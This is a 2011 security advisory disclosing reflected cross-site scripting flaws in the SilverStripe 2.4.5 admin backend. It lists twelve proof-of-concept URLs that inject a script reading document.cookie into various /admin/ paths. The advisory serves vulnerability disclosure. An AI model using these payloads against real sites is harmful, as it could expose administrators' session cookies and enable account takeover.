SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities

[sschurtz () t-online de]

Advisory:               SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities
Advisory ID:            SSCHADV2011-024
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on SilverStripe 2.4.5
Vendor URL:             http://www.silverstripe.com/
Vendor Status:          informed
CVE-ID:                 -

==========================
Vulnerability Description:
==========================

SilverStripe 2.4.5 backend is prone to multiple Cross-site scripting vulnerabilities

==================
Technical Details:
==================

Backend - XSS

http://<target>/SilverStripe-v2.4.5/admin/reports/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/comments/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/4?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/2?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/root?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/3?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/assets/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/1?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/5?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/security/?'"</script><script>alert(document.cookie)</script>

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

05-Oct-2011 - informed developers
06-Oct-2011 - release date of this security advisory

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.silverstripe.com/
http://www.rul3z.de/advisories/SSCHADV2011-024.txt